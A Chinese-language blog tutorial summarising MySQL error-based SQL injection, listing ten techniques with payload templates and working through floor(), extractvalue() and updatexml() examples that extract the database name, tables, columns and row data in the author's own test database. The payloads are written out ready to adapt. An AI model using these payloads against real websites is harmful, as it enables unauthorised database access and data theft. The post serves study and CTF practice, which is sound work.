看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子

《代码审计:企业级Web代码安全架构》一书中介绍过报错注入十大方法,依次是:

1.floor()   如:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()  如:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()  如:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()  如:select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()  如:select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()  如:select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()  如:select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()  如:select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()  如:select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()  如:select * from test where id=1 and exp(~(select * from(select user())a));

前三个比较常见,后面的不咋常见,大佬另说别打我

那就借助前三个举几个例子看一下

0x01 floor()报错注入

floor报错注入三件套:floor 、count、group by

我们的目的就是制造这三者的冲突来报错

例子中的   select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a

这里粉色的x是什么?是前面concat(user(),floor(rand(0)*2))的一个别名,这样后面group by x就是group by concat(user(),floor(rand(0)*2)),让group by与floor(rand(0)*2)如命中注定一样相遇产生奇妙的反应

拿我的MySQL举个例子:我use了一个叫test的数据库,执行这么一条语句 select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));

报错,报出来一个test就是库名,1是报错机制决定拼接出来的

什么机制?

首先要知道这几个SQL语句关键字是干啥的

group by语句:用于结合合计函数,根据一个或多个列对结果集进行分组
rand()函数:用于产生一个0-1之间的随机数
floor()函数:向下取整
count()函数:返回指定列的值的数目(NULL 不计入),count(*):返回表中的记录数
floor(rand()*2):rand()*2 函数生成 0-2之间的数,使用floor()函数向下取整,得到的值就是不固定的 “0” 或 “1”
floor(rand(0)*2):rand(0)*2 函数生成 0-2之间的数,使用floor()函数向下取整,但是得到的值前6位(包括第六位)是固定的。(为:011011)

concat(database(),floor(rand(0)*2))生成由‘database()+‘0’’和‘database()+‘1’’组成的随机数列,则前六个数列一定依次是:

'database()+'0''

'database()+'1''

'database()+'1''

'database()+'0''

'database()+'1''

'database()+'1''

必须是rand(0)*2 ,别的什么rand(1)*2不行,因为产生的序列不可预测

简单来说,MySQL遇到该语句时会建立一个虚拟表,有两个字段key 与 count(*),查询数据的时候先看虚拟表中是否存在该分组,如果存在计数值加一,如果不存在新建分组。。。。。。

具体来说,感兴趣可以看一下 这篇文章 https://www.cnblogs.com/hzk001/p/12799223.html

总之想用floor报错注入成功,必须保证查的表中记录至少有3条,3条记录都没有查什么查

 

关于floor实际如何应用?

模板如下:

select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a             (这里的a还是和上文中x一样是一个别名,在查询结果的基础上再次进行查询的时候必须要有一个别名)

粉色payload处可填写常规化MySQL注入三板斧(根据上文,我们已经事先知道了数据库名字),即

(1) select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test'),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出表名叫users (自己临时搭建的环境,一切从简,见谅见谅)

(2) select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出列名a与b

啊,这种(我一共就设置了两列,考虑演示从简。实际的话,通过调整limit,自己玩去吧)

(3)select 1 from (select count(*),concat((select a from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出数据2

粉色字体处随意更换

实际应用到SQL注入中就不举例了,没找到什么好的环境,如果有的话注意过滤和闭合

0x02 extractvalue()报错注入

extractvalue()是一个对XML文档进行查询的函数

语法   extractvalue(目标xml文档,xml路径)

其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错

所以只要让第二个参数不满足条件,就会报错

extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位

模板就是

and extractvalue(1, payload)

加上~好看一些, 后面那个显示数据路径的,就是超长度了,截断了

0x03 updatexml()报错注入

updatexml()是更新xml文档的函数

语法 updatexml(目标xml文档,xml路径,更新的内容)

模板是and updatexml(1, payload,1)

和extractvalue()一样,也是让第二个参数“xml路径”报错,让他返回的不是xml格式的东西。同样是32位截断

爆出数据库名test

在CTF中见过连续两个SQL注入,第二个知识点考察报错注入的,当时wp用的就是updatexml报错注入,给当年我幼小的心灵造成了巨大的创伤

随便转载,请标明作者出处

SQL注入之MySQL报错注入整理的更多相关文章

  1. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  2. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  3. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  4. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  5. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  6. MySQL报错注入总结

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法. 报错注入: ...

  7. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  8. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

  9. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

随机推荐

  1. Linux环境Nginx安装、调试以及PHP安装(转)

      linux版本:64位CentOS 6.4 Nginx版本:nginx1.8.0 php版本:php5.5 1.编译安装Nginx 官网:http://wiki.nginx.org/Install ...

  2. PHP常见的设计模式

    设计模式六大原则 开放封闭原则:一个软件实体如类.模块和函数应该对扩展开放,对修改关闭. 里氏替换原则:所有引用基类的地方必须能透明地使用其子类的对象. 依赖倒置原则:高层模块不应该依赖低层模块,二者 ...

  3. Jsp自定义标签,配置tld文件

    Program:Jsp自定义标签,.tld文件的配置 1 <?xml version="1.0" encoding="UTF-8" ?> 2 3 & ...

  4. WPF教程十四:了解元素的渲染OnRender()如何使用

    上一篇分析了WPF元素中布局系统的MeasureOverride()和ArrangeOverride()方法.本节将进一步深入分析和研究元素如何渲染它们自身. 大多数WPF元素通过组合方式创建可视化外 ...

  5. 备战-Java 容器

    备战-Java 容器 玉阶生白露,夜久侵罗袜. 简介:备战-Java 容器 一.概述 容器主要包括 Collection 和 Map 两种,Collection 存储着对象的集合,而 Map 存储着k ...

  6. 去抖动 debounce

    最近才发现 debounce 在 减少DOM操作及资源加载方面得重要性,遂写个博客记录一下 /** * @param {Function} func 要执行的函数 * @param {number} ...

  7. CTF-safer-than-rot13-writeup

    safer-than-rot13 题目信息 附件: cry100 XMVZGC RGC AMG RVMG HGFGMQYCD VT VWM BYNO, NSVWDS NSGO RAO XG UWFN ...

  8. UnitTest 用法

    功能 1.能组织多个用例去执行 2.提供丰富的断言方法 3.提供丰富的日志与测试结果 核心要素 1.TestCase 2.TestSuite 3.TextTestRunner 4.Fixture 用法 ...

  9. vue-cli 3.0脚手架创建vue项目

    1. 卸载vue-cli 2.0 npm uninstall -g vue-cli 2. 安装vue-cli 3.0 npm install @vue/cli 3. 创建项目 npm create & ...

  10. Codeforces Round #735 (Div. 2) 题解

    比赛地址:https://codeforces.com/contest/1554. 只有 ABCD 的题解,E 不会. A 答案是 \(\max_i\{a_ia_{i+1}\}\).证明:(反证)如果 ...